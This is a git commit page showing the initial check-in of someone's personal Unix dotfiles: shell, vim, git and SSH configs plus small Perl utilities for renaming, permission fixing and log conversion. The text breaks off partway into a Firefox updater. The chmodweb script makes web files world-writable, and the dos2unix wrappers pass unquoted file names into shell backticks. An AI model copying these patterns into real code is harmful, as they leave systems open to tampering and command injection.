Browse Source

Initial check-in

master
Noah Petherbridge 8 years ago
commit
ed2834874f
  1. 26
      README.md
  2. 157
      home/.bashrc
  3. 12
      home/.config/autostart/pyupdatesd.desktop
  4. BIN
      home/.config/sublime-text-3/Installed Packages/Better CoffeeScript.sublime-package
  5. BIN
      home/.config/sublime-text-3/Installed Packages/Package Control.sublime-package
  6. 1
      home/.config/sublime-text-3/Packages/User/Package Control.last-run
  7. 6
      home/.config/sublime-text-3/Packages/User/Package Control.sublime-settings
  8. 12
      home/.config/sublime-text-3/Packages/User/Preferences.sublime-settings
  9. 22
      home/.gitconfig
  10. 26
      home/.ssh/config
  11. 129
      home/.vimrc
  12. 59
      home/bin/browser-wrap
  13. 55
      home/bin/chmodfix
  14. 49
      home/bin/chmodweb
  15. 375
      home/bin/datename
  16. 33
      home/bin/dodos2unix
  17. 33
      home/bin/dodos2unix2
  18. 29
      home/bin/dounix2dos
  19. 74
      home/bin/dumpmsn
  20. 67
      home/bin/dumpsms
  21. 146
      home/bin/ffnightly
  22. 71
      home/bin/findtxt
  23. 49
      home/bin/flashget
  24. 43
      home/bin/flatten-linked
  25. 41
      home/bin/flv2avi
  26. 27
      home/bin/gsay
  27. 25
      home/bin/gsync
  28. 69
      home/bin/id-codec
  29. 54
      home/bin/id3set
  30. 35
      home/bin/iphone-ringtone
  31. 23
      home/bin/json-pretty
  32. 370
      home/bin/keylog
  33. 292
      home/bin/keylog2
  34. 279
      home/bin/ksplit
  35. 132
      home/bin/kupdatesd
  36. 44
      home/bin/make-it-rain
  37. 33
      home/bin/mednafen-zenity
  38. 33
      home/bin/metacity-test
  39. 23
      home/bin/mountsec
  40. 181
      home/bin/mp3rename
  41. 27
      home/bin/multistart
  42. 43
      home/bin/onetime
  43. 24
      home/bin/openrand
  44. 137
      home/bin/podwrap
  45. 170
      home/bin/pyupdatesd
  46. 35
      home/bin/rmbackup
  47. 289
      home/bin/rre
  48. 160
      home/bin/sayto
  49. 56
      home/bin/scale
  50. 167
      home/bin/screenspy
  51. 17
      home/bin/suterm
  52. 43
      home/bin/udptoss
  53. 9
      home/bin/v4lskype
  54. 90
      home/bin/window-notify
  55. 95
      setup

26
README.md

@ -0,0 +1,26 @@
# Kirsle's Dotfiles
This repo is for my own personal use for syncing my Unix config files and
scripts between my various devices. Feel free to look around and learn from
my config scripts.
# Setup
```bash
~$ git clone git@github.com:kirsle/.dotfiles
~$ ./.dotfiles/setup --install
```
# Layout
* `./setup`
Installation script for the dotfiles. Creates symlinks for everything in
`./home` into `$HOME`.
This will **not** delete existing files, such as `~/.bashrc`. Use the
`--install` option to make it do so.
* `./home`
Everything in this folder will be symlinked to from your `$HOME` folder.

157
home/.bashrc

@ -0,0 +1,157 @@
# .bashrc
# Kirsle's Global BashRC
# Updated 2013-05-21
PATH="/usr/sbin:/sbin:/usr/bin:/bin:/usr/local/bin:/usr/local/sbin:$HOME/bin:$HOME/go/bin"
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
# Source local system-specific config.
if [ -f ~/.localbashrc ]; then
. ~/.localbashrc
fi
# Perlbrew
export PERLBREW_ROOT="/opt/perl5"
if [ -f /opt/perl5/etc/bashrc ]; then
source /opt/perl5/etc/bashrc
fi
# Virtualenv
export WORKON_HOME=~/.virtualenv
if [ -f /usr/bin/virtualenvwrapper.sh ]; then
source /usr/bin/virtualenvwrapper.sh
fi
# Colors!
BLACK='\e[0;30m'
NAVY='\e[0;34m'
GREEN='\e[0;32m'
TEAL='\e[0;36m'
MAROON='\e[0;31m'
PURPLE='\e[0;35m'
BROWN='\e[0;33m'
SILVER='\e[0;37m'
GRAY='\e[1;30m'
BLUE='\e[1;34m'
LIME='\e[1;32m'
CYAN='\e[1;36m'
RED='\e[1;31m'
MAGENTA='\e[1;35m'
YELLOW='\e[1;33m'
WHITE='\e[1;37m'
BOLD='\e[1m'
NC='\e[0m' # No Color
function showcolors() {
echo -e "$BLACK BLACK $NAVY NAVY $GREEN GREEN $TEAL TEAL"
echo -e "$MAROON MAROON $PURPLE PURPLE $BROWN BROWN $SILVER SILVER"
echo -e "$GRAY GRAY $BLUE BLUE $LIME LIME $CYAN CYAN $RED RED"
echo -e "$MAGENTA MAGENTA $YELLOW YELLOW $WHITE WHITE$NC"
}
# Normalize the terminal.
ENLIGHTENED=0
if [ "$TERM" = 'xterm' ] || [ "$TERM" = 'xterm-256color' ] || [ "$TERM" = 'linux' ]; then
ENLIGHTENED=1
elif [ "$TERM" = 'screen' ] || [ "$TERM" = 'screen-256color' ]; then
ENLIGHTENED=1
elif [ "$TERM" = 'cygwin' ]; then
ENLIGHTENED=1
fi
# Custom bash prompt.
if [ "$ENLIGHTENED" = '1' ]; then
if [ `hostname` = 'fubar' ] || [ `hostname` = 'yakko' ]; then
export PS1="\[$CYAN\]\t \[$LIME\][\[$YELLOW\]\u\[$RED\]@\[$YELLOW\]\h \[$LIME\]\W\[$LIME\]]\[$BLUE\]\\$ \[$NC\]"
else
export PS1="\[$BOLD$BLUE\][\[$MAGENTA\]\u\[$BLUE\]@\[$MAGENTA\]\h \[$LIME\]\W\[$BLUE\]]\\$ \[$NC\]"
fi
fi
# For non-Fedora environments be sure the PROMPT_COMMAND sets the title bar.
export PROMPT_COMMAND='printf "\033]0;%s@%s:%s\007" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/~}"'
# ___ ____ _ _ ____ ____ __ __
# / __)( ___)( \( )( ___)( _ \ /__\ ( )
# ( (_-. )__) ) ( )__) ) / /(__)\ )(__
# \___/(____)(_)\_)(____)(_)\_)(__)(__)(____)
# -==General Bash Aliases and Functions==-
alias vi='vim'
# reload .bashrc
alias rebash='. ~/.bashrc'
# a DOS-like title command
function title {
PROMPT_COMMAND="echo -en \"\033]0;$1\007\""
}
# Case-insensitive searching.
shopt -s nocaseglob
# Save history correctly when using multiple terminals.
# Don't save duplicate lines or blank lines.
export HISTCONTROL="ignoreboth"
export HISTSIZE=1000
shopt -s histappend
export EDITOR="/usr/bin/vim"
# Color grepping! Highlight grep expression in red text.
export GREP_COLOR=31
alias grep='grep --exclude=min.js --color=auto'
# Show proc name with pgrepping.
alias pg='ps aux | grep'
alias pgrep='pgrep -l'
# Allow ASCII color codes to work in less/more.
alias less='less -r'
alias more='less -r' # less is more
# ls aliases (Fedora defaults but defined here for portability)
alias ls='ls --color=auto'
alias ll='ls -hl --color=auto'
# More aliases!
alias ping='ping -c 10'
# Shortcuts to graphical programs.
alias firefox='nohup firefox 2>/dev/null'
alias gedit='nohup gedit 2>/dev/null'
# Lazy cd commands.
alias ...='cd ../..'
alias ..='cd ..'
alias ~='cd ~'
alias cd..='cd ..'
alias cd...='cd ../..'
# Lazy id commands
alias me='whoami'
alias i='whoami'
# Typos
alias iv='vi'
# Make cp and mv ask before replacing an existing file.
alias cp='cp -i'
alias mv='mv -i'
# 256 Color Terminal! Make sure a .xterm256 file exists in $HOME to enable.
if [ -e ".xterm256" ]; then
[ "$TERM" = 'xterm' ] && TERM=xterm-256color
[ "$TERM" = 'screen' ] && TERM=screen-256color
[ "$TERM" = 'rxvt-unicode' ] && TERM=rxvt-unicode-256color
if [ ! -z "$TERMCAP" ] && [ "$TERM" = "screen-256color" ]; then
TERMCAP=$(echo $TERMCAP | sed -e 's/Co#8/Co#256/g')
export TERMCAP
fi
fi

12
home/.config/autostart/pyupdatesd.desktop

@ -0,0 +1,12 @@
[Desktop Entry]
Encoding=UTF-8
Version=0.9.4
Type=Application
Name=pyupdatesd
Comment=Yum Updates Daemon
Exec=pyupdatesd
OnlyShowIn=XFCE;
StartupNotify=false
Terminal=false
Hidden=false

BIN
home/.config/sublime-text-3/Installed Packages/Better CoffeeScript.sublime-package

Binary file not shown.

BIN
home/.config/sublime-text-3/Installed Packages/Package Control.sublime-package

Binary file not shown.

1
home/.config/sublime-text-3/Packages/User/Package Control.last-run

@ -0,0 +1 @@
1393630217

6
home/.config/sublime-text-3/Packages/User/Package Control.sublime-settings

@ -0,0 +1,6 @@
{
"installed_packages":
[
"Better CoffeeScript"
]
}

12
home/.config/sublime-text-3/Packages/User/Preferences.sublime-settings

@ -0,0 +1,12 @@
{
"draw_white_space": "all",
"font_face": "Ubuntu Mono",
"font_size": 12,
"hot_exit": false,
"ignored_packages":
[
"Vintage"
],
"remember_open_files": false,
"translate_tabs_to_spaces": true
}

22
home/.gitconfig

@ -0,0 +1,22 @@
[user]
name = Noah Petherbridge
email = root@kirsle.net
[alias]
ci = commit
co = checkout
br = branch
st = status
[core]
editor = vim
[color]
ui = true
diff = true
pager = true
status = auto
branch = auto
[push]
default = simple

26
home/.ssh/config

@ -0,0 +1,26 @@
Host *
ForwardAgent no
ForwardX11 no
ForwardX11Trusted yes
Port 22
Protocol 2
ServerAliveInterval 60
ServerAliveCountMax 30
# All hosts here prohibit password based logins, so don't get any ideas. ;)
Host socks
HostName kirsle.net
User kirsle
PasswordAuthentication no
DynamicForward 8080
Host kirsle
HostName kirsle.net
User kirsle
PasswordAuthentication no
Host caskir
HostName caskir.com
User noah
PasswordAuthentication no

129
home/.vimrc

@ -0,0 +1,129 @@
" vimrc, http://sh.kirsle.net/
" Last Modified 2013/09/27
set encoding=utf8 " Unicode support
set nocompatible " use vim defaults
set background=dark " my terminal has a black background
set tabstop=4 " number of spaces for tab character
set softtabstop=4 " insert/delete 4 spaces when hitting a tab/backspace
set shiftwidth=4 " number of spaces to auto-indent
set shiftround " round indent to multiple of 'shiftwidth'
set scrolloff=3 " keep 3 lines when scrolling
set smartindent " smart auto-indenting (recognizes C-like code)
set showmatch " hilite the matching brace when we type the closing brace
set nohls " don't highlight search matches
set incsearch " incremental search (search while you type)
set ignorecase " case-insensitive search
set showcmd " display incomplete commands
set ttyfast " smoother changes
set autowrite " automatic saving when quitting and switching buffer
set autoread " automatic read when file is modified from outside
syntax on " syntax highlighting
" When vimrc is edited, reload it.
autocmd! BufWritePost .vimrc source ~/.vimrc
" Enable filetype plugin
filetype plugin on
filetype indent on
" Mouse support that keeps the fast scroll wheel speed.
set mouse=a
set ttymouse=xterm2
map <MouseUp> 12j
map <MouseDown> 12k
map <MiddleMouse> <Nop>
imap <MouseUp> <C-O>12j
imap <MouseDown> <C-O>12k
imap <MiddleMouse> <Nop>
" Make movement make sense across wrapped lines.
nnoremap j gj
nnoremap k gk
imap <Up> <C-O>gk
imap <Down> <C-O>gj
map <Up> gk
map <Down> gj
" Tell Vim to remember things when we exit:
" '10 : marks will be remembered for up to 10 previously edited files
" "100 : will save up to 100 lines for each register
" :20 : up to 20 lines of command-line history remembered
" % : saves and restores the buffer list
" n... : where to save the viminfo files
set viminfo='10,\"100,:20,%,n~/.viminfo'
" Restore the cursor position.
function! ResCur()
if line("'\"") <= line("$")
normal! g`"
return 1
endif
endfunction
augroup resCur
autocmd!
autocmd BufWinEnter * call ResCur()
augroup END
" make tab in v mode indent code
vmap <tab> >gv
vmap <s-tab> <gv
" make tab in normal mode indent code
nmap <tab> I<tab><esc>
nmap <s-tab> ^i<bs><esc>
" change the bash title so the filename is first in the title bar
let &titlestring = expand("%:t") . " - vim on " . hostname()
if &term == "screen"
set t_ts=k
set t_fs=\
endif
if &term == "screen" || &term == "xterm" || &term == "xterm-256color"
set title
endif
" custom file extensions
au BufNewFile,BufRead *.panel set filetype=html
au BufNewFile,BufRead *.tt set filetype=html
au BufNewFile,BufRead *.tp set filetype=html
""""""""""""""""""""""""
""" General coding stuff
""""""""""""""""""""""""
" git commit messages
autocmd Filetype gitcommit setlocal spell textwidth=72
" reStructuredText
autocmd FileType rst set tabstop=3 softtabstop=3 shiftwidth=3 expandtab
" Make sure the syntax is always right, even when in the middle of
" a huge javascript inside an html file.
autocmd BufEnter * :syntax sync fromstart
" Map F12 to sync the syntax too.
noremap <F12> <Esc>:syntax sync fromstart<CR>
inoremap <F12> <C-o>:syntax sync fromstart<CR>
""""""""""""""
""" Perl stuff
""""""""""""""
" check perl code with :make
autocmd FileType perl set makeprg=perl\ -c\ %\ $*
autocmd FileType perl set errorformat=%f:%l%m
" syntax highlight pod documentation correctly
let perl_include_pod = 1
" syntax color complex things like @{${"foo"}}
let perl_extended_vars = 1
""""""""""""""""
""" Python stuff
""""""""""""""""
" expand tabs for python code
autocmd BufRead,BufNewFile *.py set expandtab

59
home/bin/browser-wrap

@ -0,0 +1,59 @@
#!/usr/bin/perl
# browser-wrap: Set this as your default browser to open certain links with
# certain browsers.
#
# To get `xdg-open` to use this, put this in your ~/.profile (update the path
# to match where you installed the script to):
#
# if [ -n "$DISPLAY" ]; then
# BROWSER=/home/kirsle/bin/browser-wrap
# fi
#
# --Kirsle
# http://sh.kirsle.net/
use 5.14.0;
use strict;
use warnings;
#------------------------------------------------------------------------------#
# Configuration Section #
#------------------------------------------------------------------------------#
# Define your browser rules here.
my $rules = {
# These are domain names to match. Use a regular expression.
qr/(facebook|fbcdn)\.(com|net)/ => "google-chrome",
};
# Default browser for links that don't have rules that match.
my $default = "firefox";
#------------------------------------------------------------------------------#
# End Configuration Section #
#------------------------------------------------------------------------------#
# Get the URL passed in.
my $url = shift(@ARGV);
my $browser = $default;
# Looks okay?
if ($url =~ /^https?:\/\/([^\/]+)\/?/i) {
print "Domain: $1\n";
my $domain = $1;
# Look for the best rule.
my @sorted = sort { length($b) <=> length($a) } keys %{$rules};
foreach my $rule (@sorted) {
if ($domain =~ /$rule/i) {
# Matched!
$browser = $rules->{$rule};
last;
}
}
}
# Launch the browser.
my ($app, @args) = split(/\s+/, $browser);
exec($app, @args, $url, @ARGV);

55
home/bin/chmodfix

@ -0,0 +1,55 @@
#!/usr/bin/perl -w
# chmodfix - automagically fix file permissions, recursively, to their sane
# default values:
#
# CGI scripts = 0755
# directories = 0755
# normal files = 0644
#
# usage: chmodfix <start-directory>
#
# --Kirsle
# http://sh.kirsle.net/
if (scalar(@ARGV)) {
foreach my $dir (@ARGV) {
if (-d $dir) {
print "#####################\n";
print "Fix: $dir\n";
print "#####################\n";
&scanDir($dir);
}
}
}
else {
print "Usage: chmodfix <directories>\n";
exit(0);
}
sub scanDir {
my $dir = shift;
opendir (DIR, $dir);
foreach my $file (readdir(DIR)) {
next if $file eq ".";
next if $file eq "..";
if (-d "$dir/$file") {
print "chmod directory: 0755 ($dir/$file)\n";
chmod (0755, "$dir/$file");
&scanDir ("$dir/$file");
}
else {
if ($file =~ /\.(cgi|pl)$/i) {
print "chmod CGI file: 0755 ($dir/$file)\n";
chmod (0755, "$dir/$file");
}
else {
print "chmod file: 0644 ($dir/$file)\n";
chmod (0644, "$dir/$file");
}
}
}
closedir (DIR);
}

49
home/bin/chmodweb

@ -0,0 +1,49 @@
#!/usr/bin/perl -w
# chmodweb - Like chmodfix except regular files are chmodded 0666 instead of
# 0644. See chmodfix.
#
# --Kirsle
# http://sh.kirsle.net/
if (scalar(@ARGV)) {
foreach my $dir (@ARGV) {
if (-d $dir) {
print "#####################\n";
print "Fix: $dir\n";
print "#####################\n";
&scanDir($dir);
}
}
}
else {
print "Usage: chmodfix <directories>\n";
exit(0);
}
sub scanDir {
my $dir = shift;
opendir (DIR, $dir);
foreach my $file (readdir(DIR)) {
next if $file eq ".";
next if $file eq "..";
if (-d "$dir/$file") {
print "chmod directory: 0755 ($dir/$file)\n";
chmod (0755, "$dir/$file");
&scanDir ("$dir/$file");
}
else {
if ($file =~ /\.(cgi|pl|php)$/i) {
print "chmod CGI file: 0755 ($dir/$file)\n";
chmod (0755, "$dir/$file");
}
else {
print "chmod file: 0666 ($dir/$file)\n";
chmod (0666, "$dir/$file");
}
}
}
closedir (DIR);
}

375
home/bin/datename

@ -0,0 +1,375 @@
#!/usr/bin/perl -w
# datename - Automatically rename a large group of files to have dates in their
# names.
#
# This script is for renaming many files (e.g. files downloaded from a digital
# camera) to have dates as their file names, e.g. from 2009-12-25_001.jpg to
# 2009-12-25_058.jpg
#
# Usage: datename [options] <files>
# See `datename -?` for more help.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use Getopt::Long;
use File::Copy;
our $version = "1.0 Feb 23 2009";
unless (@ARGV) {
print "Usage: datename [options] [files]\n"
. "Try `datename -?` for help.\n";
exit(1);
}
our %c = (
r => "\e[31m",
g => "\e[32m",
c => "\e[34m",
o => "\e[0m",
);
##############################
# Collect Options #
##############################
my @lt = localtime(time());
my $today = join("-",
sprintf("%04d", ($lt[5] + 1900)),
sprintf("%02d", ($lt[4] + 1)),
sprintf("%02d", ($lt[3])),
);
my $o = {
help => 0,
format => undef,
date => undef,
start => 1,
force => 0,
backup => "./datename-backup",
nobackup => 0,
mono => 0,
};
GetOptions (
'help|h|?' => \$o->{help},
'format|f=s' => \$o->{format},
'date|d=s' => \$o->{date},
'start|s=i' => \$o->{start},
'backup|b=s' => \$o->{backup},
'nobackup' => \$o->{nobackup},
'force' => \$o->{force},
'monotone|mono|m' => \$o->{mono},
);
if ($o->{help}) {
&help();
}
if ($o->{mono}) {
foreach my $key (keys %c) {
$c{$key} = '';
}
}
##############################
# Ask for Parameters #
##############################
$| = 1;
print "$c{r}DateName$c{o} version $c{g}$version$c{o}\n\n";
unless ($o->{nobackup}) {
print "Initializing backup directory... ";
if (!-d $o->{backup}) {
system("mkdir", "-p", $o->{backup});
if (!-d $o->{backup}) {
die "Can't create backup directory: $!";
}
}
print "Done!\n\n";
}
if (!defined $o->{format}) {
print "$c{c}1: Enter the format for the file names to follow. This should\n"
. " contain the sequences `yyyy`, `mm`, `dd`, and at least one\n"
. " `n`. For example if the format is `yyyy-mm-dd_nnn`, the\n"
. " and the date is 2009-02-23, the first file will be named\n"
. " 2009-02-23_001.jpg, the second 2009-02-23_002.jpg, and\n"
. " so-on. The default is yyyy-mm-dd_nnn. You can simply hit\n"
. " return here if you want to keep the default.$c{o}\n\n";
while (1) {
my $format = &prompt("Enter the date format, or blank for "
. "<yyyy-mm-dd_nnn>", "yyyy-mm-dd_nnn");
# Validate the format.
if ($format !~ /yyyy/ || $format !~ /mm/ || $format !~ /dd/
|| $format !~ /n+/) {
print "\n$c{r}You've entered an invalid date format. "
. "Try again.$c{o}\n\n";
}
else {
# Good.
$o->{format} = $format;
last;
}
}
}
if (!defined $o->{date}) {
print "\n$c{c}2: Enter the date that you want these files to be renamed\n"
. " after. Enter the date in the format of yyyy-mm-dd.\n"
. " Today's date is $c{g}$today$c{c}.$c{o}\n\n";
while (1) {
my $date = &prompt("Enter the date to rename the files after, "
. "or <$today>", $today);
# Validate the date.
if ($date !~ /^(\d\d\d\d)\-(\d\d)\-(\d\d)$/) {
print "\n$c{r}You've entered an invalid date. The date\n"
. "must be in yyyy-mm-dd format.$c{o}\n\n";
}
else {
# Good.
$o->{date} = $date;
last;
}
}
}
if (1) {
print "\n$c{c}3: Your files will be renamed beginning with the number "
. $c{g} . $o->{start} . "$c{c}.$c{o}\n\n";
my $answer = &prompt("Okay to begin at the number $o->{start}? "
. " [y/n] <y>",
"y",
qw(y yes n no));
if ($answer =~ /^n/i) {
while (1) {
my $start = &prompt("What number do you want to "
. "start at, or <1>", 1);
if ($start !~ /^\d+$/) {
print "\n$c{r}Invalid answer.$c{o}\n\n";
}
else {
$o->{start} = $start;
last;
}
}
}
}
##############################
# Summarize What's Going On #
##############################
my @files = &getFileList();
my $numFiles = scalar(@files);
my ($nss) = ($o->{format} =~ /(n+)/i);
our $ns = length $nss;
our ($year,$mon,$day) = ($o->{date} =~ /^(\d\d\d\d)\-(\d\d)\-(\d\d)$/);
if (1) {
my $backuptext = "Your files will be backed up to $o->{backup}.";
if ($o->{nobackup}) {
$backuptext = "Your files will *NOT* be backed up.";
}
my $first = &datename($o->{start});
my $last = &datename($o->{start} + $numFiles);
print "\n" . $c{c}
. ("=" x 70) . "$c{o}\n"
. "$c{g}Summary of Operations:$c{o}\n\n"
. "$c{c}Your $numFiles files are going to be renamed in the format\n"
. "'$o->{format}' using the date '$o->{date}', beginning with\n"
. "the number $o->{start}. They will be renamed from\n"
. "$first to $last.\n\n"
. "$backuptext$c{o}\n\n";
my $proceed = &prompt("Okay to proceed? [y/n] <n>", "n",
qw(y yes n no));
unless ($proceed =~ /^y/i) {
print "\nAborting procedure!\n";
exit(0);
}
}
##############################
# Main Operation #
##############################
my $int = $o->{start};
foreach my $file (@files) {
next unless -f $file;
my ($ext) = ($file =~ /\.([A-Za-z0-9]+?)$/i);
$ext = "jpg" unless defined $ext;
print "$c{c}Looking at file $file$c{o}\n";
unless ($o->{nobackup}) {
my $backup = $file;
my $bi = 1;
while (-f "$o->{backup}/$backup") {
$backup = "[$bi] $file";
$bi++;
}
print " Backing it up as $o->{backup}/$backup... ";
copy ($file, "$o->{backup}/$backup");
if (-f "$o->{backup}/$backup") {
print "Done!\n";
}
else {
die "$c{r}Error: couldn't back it up: $!$c{o}";
}
}
my $newName = &datename($int) . "." . lc($ext);
$int++;
print " Renaming file to $newName"
. ($o->{force} ? " (forced)" : "")
. "... ";
if (-f $newName && !$o->{force}) {
print "Warning: File already exists!$c{r}\n";
my $continue = &prompt(
" The file $newName already exists. Overwrite? "
. "[y/n] <n>", "n", qw(y yes n no));
if ($continue !~ /^y/i) {
print " Skipping rename of $file!$c{o}\n";
next;
}
print " Renaming file to $newName (forced)... $c{o}";
}
# Rename it.
rename ($file, $newName);
print "$c{g}Done!$c{o}\n";
}
print "\n"
. "$c{g}Procedure completed. Backups were saved to $o->{backup}.$c{o}\n";
exit(0);
sub datename {
my $i = shift;
my $format = $o->{format};
$format =~ s/yyyy/$year/ig;
$format =~ s/mm/$mon/ig;
$format =~ s/dd/$day/ig;
my $sprint = sprintf("%0${ns}d", $i);
$format =~ s/n+/$sprint/ig;
return $format;
}
sub getFileList {
if (@ARGV) {
return (@ARGV);
}
my @return = ();
opendir (DIR, ".");
foreach my $f (sort(grep(/^\./, readdir(DIR)))) {
if (-f $f) {
push (@return, $f);
}
}
closedir (DIR);
return (@return);
}
sub prompt {
my $question = shift;
my $default = shift;
my @accept = ();
my $asking = 1;
while ($asking) {
print "$question ";
chomp (my $answer = <STDIN>);
if (defined $answer && length $answer) {
if (@accept) {
foreach my $a (@accept) {
if ($answer eq $a) {
return $a;
}
}
print "Invalid answer.\n";
}
else {
return $answer;
}
}
else {
if (@accept) {
print "INvalid answer.\n";
}
else {
return $default;
}
}
}
}
sub help {
print <<EOF;
NAME
datename - Massively rename multiple files
USAGE
datename [options] <files>
OPTIONS
The following options can be provided at the command line, or will be
prompted for during operation.
--format, -f <format>
Provide the date format. Should contain yyyy, mm, dd, and a
sequence of at least one n. Ex: yyyy-mm-dd_nnn
--date, -d <date>
Provide the date. Should be in yyyy-mm-dd format, e.g.
2009-02-23
--start, -s <number>
Enter the iteration number to begin renaming files at. By
default it is 1.
The following options will modify the default behavior of the program:
--backup, -b <directory>
Specify the directory you want the files backed up into.
Default is ./datename-backup
This folder will try to be created if it doesn't exist.
--nobackup
Do not back up files (I don't recommend this option).
--force
Force rename all files (do not prompt the user if the file
already exists).
EXAMPLES
; Specify all the prompt questions on the command line and rename
; JPG and PNG images only.
datename -f "yyyy-mm-dd_nnn" -d "2009-02-23" -s 100 *.jpg *.png
; Rename JPG, BMP, and GIF, will be prompted for the other options
datename *.jpg *.bmp *.gif
; Rename everything
datename *
AUTHOR
Casey Kirsle
http://www.kirsle.net/
EOF
exit(1);
}

33
home/bin/dodos2unix

@ -0,0 +1,33 @@
#!/usr/bin/perl -w
# dodos2unix - A stupid-simple recursive dos2unix front end.
#
# This script starts recursively scanning the current working directory (.) and
# runs dos2unix on every text file (extensions PL, PHP, CGI, HTM, HTML, TXT,
# INC, and PM).
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
&scanDir (".");
sub scanDir {
my $dir = shift;
opendir (DIR, $dir);
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
if (-d "$dir/$file") {
&scanDir ("$dir/$file");
}
else {
if ($file =~ /\.(pl|php|cgi|htm|html|txt|inc|pm|cml)$/i) {
print "dos2unix $dir/$file\n";
`dos2unix $dir/$file`;
}
}
}
closedir (DIR);
}

33
home/bin/dodos2unix2

@ -0,0 +1,33 @@
#!/usr/bin/perl -w
# dodos2unix - A stupid-simple recursive dos2unix front end.
#
# This script starts recursively scanning the current working directory (.) and
# runs dos2unix on every text file (extensions PL, PHP, CGI, HTM, HTML, TXT,
# INC, and PM).
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
&scanDir (".");
sub scanDir {
my $dir = shift;
opendir (DIR, $dir);
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
if (-d "$dir/$file") {
&scanDir ("$dir/$file");
}
else {
if ($file =~ /\.(pl|php|cgi|htm|html|txt|inc|pm|cml)$/i) {
print "dos2unix $dir/$file\n";
`perl -pi -e 's/\\r\\n/\\n/;' $dir/$file`;
}
}
}
closedir (DIR);
}

29
home/bin/dounix2dos

@ -0,0 +1,29 @@
#!/usr/bin/perl -w
# dounix2dos - Like dodos2unix except it runs unix2dos instead. See dodos2unix
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
&scanDir (".");
sub scanDir {
my $dir = shift;
opendir (DIR, $dir);
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
if (-d "$dir/$file") {
&scanDir ("$dir/$file");
}
else {
if ($file =~ /\.(pl|php|cgi|htm|html|txt|inc|pm)$/i) {
print "unix2dos $dir/$file\n";
`unix2dos $dir/$file`;
}
}
}
closedir (DIR);
}

74
home/bin/dumpmsn

@ -0,0 +1,74 @@
#!/usr/bin/perl
# dumpmsn - Pretty up MSN Messenger chat logs.
#
# Usage: dumpmsn *.xml
#
# This will create a folder named "html" and put the files there. Give it chat
# logs from Windows Live Messenger 2011 or similar (no guarantees it
# will work with other versions).
#
# --Kirsle
# http://sh.kirsle.net/
use 5.14.0;
use strict;
use warnings;
use XML::Simple;
if (!-d "html") {
mkdir("html") or die "Can't create folder 'html': $@";
}
foreach my $file (@ARGV) {
say "Dumping $file...";
my $xml = XMLin($file, ForceArray => 1);
my $html = $file;
$html =~ s/\.xml$//g;
open (my $fh, ">:utf8", "./html/$html.html");
print {$fh} <<EOF;
<!DOCTYPE html>
<html>
<head>
<title>Conversation Log</title>
<style>
body {
background-color: #FFFFFF;
font-family: Verdana,Arial,Helvetica,sans-serif;
font-size: small;
color: #000000;
}
</style>
</head>
<body>
EOF
if (ref($xml->{Message}) ne "ARRAY") {
warn "Not an array for $file";
next;
}
foreach my $Message (@{$xml->{Message}}) {
my $to = $Message->{To}->[0]->{User}->[0]->{FriendlyName};
my $from = $Message->{From}->[0]->{User}->[0]->{FriendlyName};
my $time = $Message->{Date} . " " . $Message->{Time};
my ($text,$style);
if (ref($Message->{Text}->[0])) {
$text = $Message->{Text}->[0]->{content};
$style = $Message->{Text}->[0]->{Style};
} else {
$text = $Message->{Text}->[0];
}
$style //= "";
$style = " style=\"$style\"" if length $style > 0;
print {$fh} "<strong>$time</strong><br>\n"
. "<em>$from says:</em>\n"
. "<blockquote$style>$text</blockquote>\n"
. "<hr>\n\n";
}
print {$fh} "</body>\n</html>";
close($fh);
}

67
home/bin/dumpsms

@ -0,0 +1,67 @@
#!/usr/bin/perl
# dumpsms - Dump the SMS logs saved by "SMS Backup & Restore" into friendly
# readable HTML files!
#
# Usage: dumpsms <sms-dump.xml>
# Ex: dumpsms sms-20120629202942.xml
#
# It will create a folder "./sms" if it doesn't exist, and output all the logs
# into that folder. It saves HTML files after the contact name, if available.
# Logs are opened in append mode, so if you run the script multiple times the
# logs get appended to the end of the file!
#
# --Kirsle
# http://sh.kirsle.net/
use 5.14.0;
use strict;
use warnings;
use autodie;
use XML::Simple;
my $xml = shift or die "$0 <*.xml>";
mkdir("sms") unless -d "sms";
my $ref = XMLin($xml);
foreach my $sms (@{$ref->{sms}}) {
my $num = $sms->{address};
my $color = $sms->{type} eq "1" ? "receive" : "send";
my $dir = $sms->{type} eq "1" ? "From" : "Sent to";
my $file = "./sms/$sms->{contact_name}.html";
if (!-f $file) {
open (my $fh, ">", $file);
print {$fh} "<!DOCTYPE html>\n"
. "<html>\n"
. "<head>\n"
. "<title>Conversation with $sms->{contact_name}</title>\n"
. "<style>\n"
. "body {\n"
. " font-family: Verdana,Arial,sans-serif;\n"
. " font-size: small;\n"
. " color: #000000;\n"
. "}\n"
. ".receive {\n"
. " color: #0000FF;\n"
. "}\n"
. ".send {\n"
. " color: #FF0000;\n"
. "}\n"
. "</style>\n"
. "</head>\n"
. "<body>\n\n";
close($fh);
}
open (my $fh, ">>:utf8", "./sms/$sms->{contact_name}.html");
print {$fh} "<strong class='$color'>$sms->{readable_date}</strong><br>\n"
. "<strong>$dir</strong> $sms->{contact_name} - $num\n"
. "<blockquote>$sms->{body}</blockquote>\n"
. "<hr>\n";
close($fh);
}
say "Wrote logs to ./sms";

146
home/bin/ffnightly

@ -0,0 +1,146 @@
#!/usr/bin/perl
# ffnightly - Download the latest version of Firefox Nightly.
#
# Run this script to fetch the latest version of Firefox Nightly. By default,
# it will be installed into /opt/firefox-nightly with a symlink to run it at
# /usr/bin/firefox-nightly. Furthermore, it will show up in your applications
# menu as "Firefox Nightly".
#
# This script needs to be run as root (if you don't, it will attempt to sudo
# run itself). To run it from a cron job, use the --force option and it will
# skip prompting you to make sure Firefox is not running first.
#
# Usage: ffnightly [--force]
#
# --Kirsle
# http://sh.kirsle.net
use 5.14.0;
use strict;
use warnings;
use English;
use File::Basename;
use Time::Local;
chomp(my $ARCH = `uname -p`);
################################################################################
# Configuration #
################################################################################
# Where to install Firefox Nightly to.
my $INSTALL = "/opt/firefox-nightly";
# Where to install the launcher symlink to.
my $BIN = "/usr/bin/firefox-nightly";
# Where to install the launcher shortcut to.
